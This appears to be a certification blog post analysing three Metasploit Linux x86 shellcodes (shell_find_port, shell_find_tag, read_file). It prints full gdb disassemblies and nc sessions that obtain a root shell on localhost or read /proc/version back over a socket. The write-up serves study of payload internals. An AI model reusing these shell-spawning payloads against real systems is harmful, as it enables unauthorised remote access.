This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert
Student-ID: SLAE-1154
Instead of analysing the already done shellcodes in the previous exercises like the bind and reverse shells, I’ve decided to pick the following three:
1. linux/x86/shell_find_port
This payload checks if a remote client is connecting from the configured TCP port by going through all file descriptors. In that circumstance, a shell is spawned:
The block up to the first interrupt is making use of the socketcall(2) system call to retrieve the foreign protocol address associated with a socket by using getpeername(2). The first expects the socket system call number in its first parameter and a memory region containing the respective system call arguments in the second parameter.
Like with accept(2), this function passes a socket address structure from the kernel to the user process, thus one of its arguments is the socket structure size. This is a pointer since it is both a value when it is called and a result when returned. Its structure in memory will have the following layout:
Dump of assembler code forfunction shellcode:
0x00402060 <+0>: xor ebx,ebx
0x00402062 <+2>: push ebx
0x00402063 <+3>: mov edi,esp
0x00402065 <+5>: push 0x10
0x00402067 <+7>: push esp
0x00402068 <+8>: push edi
0x00402069 <+9>: push ebx
0x0040206a <+10>: mov ecx,esp
=> 0x0040206c <+12>: mov bl,0x7
0x0040206e <+14>: inc DWORD PTR [ecx] 0x00402070 <+16>: push 0x66
0x00402072 <+18>: pop eax
0x00402073 <+19>: int 0x80
0x00402075 <+21>: cmp WORD PTR [edi+0x2],0x9210
0x0040207b <+27>: jne 0x40206e <shellcode+14>
0x0040207d <+29>: pop ebx
0x0040207e <+30>: push 0x2
0x00402080 <+32>: pop ecx
0x00402081 <+33>: mov al,0x3f
0x00402083 <+35>: int 0x80
0x00402085 <+37>: dec ecx
0x00402086 <+38>: jns 0x402081 <shellcode+33>
0x00402088 <+40>: push eax
0x00402089 <+41>: push 0x68732f2f
0x0040208e <+46>: push 0x6e69622f
0x00402093 <+51>: mov ebx,esp
0x00402095 <+53>: push eax
0x00402096 <+54>: push ebx
0x00402097 <+55>: mov ecx,esp
0x00402099 <+57>: cdq
0x0040209a <+58>: mov al,0xb
0x0040209c <+60>: int 0x80
0x0040209e <+62>: add BYTE PTR [eax],al
End of assembler dump.
$9=[ PF ZF IF ]0x0040206c in shellcode ()(gdb) x/6x $esp0xbffff588: 0x00000000 0xbffff598 0xbffff594 0x00000010
0xbffff598: 0x00000000 0x0040098a
(gdb) x/x $esp+4
0xbffff58c: 0xbffff598
(gdb) i r edi
edi 0xbffff598 -1073744488
(gdb) x/x $esp+8
0xbffff590: 0xbffff594
(gdb) x/x 0xbffff594
0xbffff594: 0x00000010
The next block of code is comprised of checking the remote TCP port for the current file descriptor. The sin_port member, as described in the first exercise, is 2 bytes from the start of the returned structure, and will be compared with 0x9210 (ie 4242/tcp). If the zero flag isn’t set, the next file descriptor will be tried, by incrementing the memory location mentioned above.
In this scenario, the remote client will be assigned file descriptor 4, since file descriptors 0 through 2 are the standard ones, and the third is returned by socket(2):
The remaining of the code is the standard dup2(2) redirection of the usual file descriptors and calling execve(2) with /bin/sh. The following C program can be used to see the shellcode in action:
Connecting from a random TCP port using nc(1) is silently ignored, while from the configured one yields a shell:
12345678910111213
# ./shellcode 4243Connection from 127.0.0.1:44050
Connection from 127.0.0.1:4242
$ ss -nlt|grep 4243
LISTEN 05 *:4243 *:*
$ nc -v 127.0.0.1 4243
Connection to 127.0.0.1 4243 port [tcp/*] succeeded!
id
^C
$ nc -vp4242 127.0.0.1 4243
Connection to 127.0.0.1 4243 port [tcp/*] succeeded!
id
uid=0(root)gid=0(root)groups=0(root)
2. linux/x86/shell_find_tag
This one is similar to the above, but instead of expecting a specific remote port on one of its file descriptors, it searches for a configured tag:
The recv(2) system call will be used to receive a message from the file descriptors and save the received data on the stack. Its structure in memory will have the following layout:
Dump of assembler code forfunction shellcode:
0x00402080 <+0>: xor ebx,ebx
0x00402082 <+2>: push ebx
0x00402083 <+3>: mov esi,esp
0x00402085 <+5>: push 0x40
0x00402087 <+7>: mov bh,0xa
0x00402089 <+9>: push ebx
0x0040208a <+10>: push esi
0x0040208b <+11>: push ebx
0x0040208c <+12>: mov ecx,esp
=> 0x0040208e <+14>: xchg bl,bh
0x00402090 <+16>: inc WORD PTR [ecx] 0x00402093 <+19>: push 0x66
0x00402095 <+21>: pop eax
0x00402096 <+22>: int 0x80
0x00402098 <+24>: cmp DWORD PTR [esi],0x45414c53
0x0040209e <+30>: jne 0x402090 <shellcode+16>
0x004020a0 <+32>: pop edi
0x004020a1 <+33>: mov ebx,edi
0x004020a3 <+35>: push 0x2
0x004020a5 <+37>: pop ecx
0x004020a6 <+38>: push 0x3f
0x004020a8 <+40>: pop eax
0x004020a9 <+41>: int 0x80
0x004020ab <+43>: dec ecx
0x004020ac <+44>: jns 0x4020a6 <shellcode+38>
0x004020ae <+46>: push 0xb
0x004020b0 <+48>: pop eax
0x004020b1 <+49>: cdq
0x004020b2 <+50>: push edx
0x004020b3 <+51>: push 0x68732f2f
0x004020b8 <+56>: push 0x6e69622f
0x004020bd <+61>: mov ebx,esp
0x004020bf <+63>: push edx
0x004020c0 <+64>: push ebx
0x004020c1 <+65>: mov ecx,esp
0x004020c3 <+67>: int 0x80
0x004020c5 <+69>: add BYTE PTR [eax],al
End of assembler dump.
$2=[ PF ZF IF ]---Type <return> to continue, or q <return> to quit---
Breakpoint 2, 0x0040208e in shellcode ()(gdb) x/6x $esp0xbffff158: 0x00000a00 0xbffff168 0x00000a00 0x00000040
0xbffff168: 0x00000000 0x00400b44
(gdb) x/x $esp+4
0xbffff15c: 0xbffff168
(gdb) i r esi
esi 0xbffff168 -1073745560
The next block of code checks if the received tag matches the one configured (SLAE). If the zero flag isn’t set, the next file descriptor is checked, by incrementing the memory location mentioned above. Since in this scenario only one client will be connecting, its assigned file descriptor will also be 4:
# ./shellcode 4242Connection from 127.0.0.1:47590
$ nc -v 127.0.0.1 4242
Connection to 127.0.0.1 4242 port [tcp/*] succeeded!
HELO
id
SLAE
id
uid=0(root)gid=0(root)groups=0(root)
3. linux/x86/read_file
The final shellcode reads the configured file and writes its contents to a specific file descriptor. Since the above skeleton C program will be used, the contents are going to be written to the remote client over the network on descriptor 4. Since it needs to obtain the absolute address in memory of the path to open, it is using the well known JMP/CALL/POP technique to avoid having \x00 characters in the resulting shellcode:
By making use of the listening skeleton server as before, the contents of the /proc/version file are echoed back to the remote client:
12345
# ./shellcode 4242Connection from 127.0.0.1:47624
$ nc -v 127.0.0.1 4242
Connection to 127.0.0.1 4242 port [tcp/*] succeeded!
Linux version 4.9.0-6-686-pae (debian-kernel@lists.debian.org)(gcc version 6.3.0 20170516(Debian 6.3.0-18+deb9u1))#1 SMP Debian 4.9.88-1+deb9u1 (2018-05-07)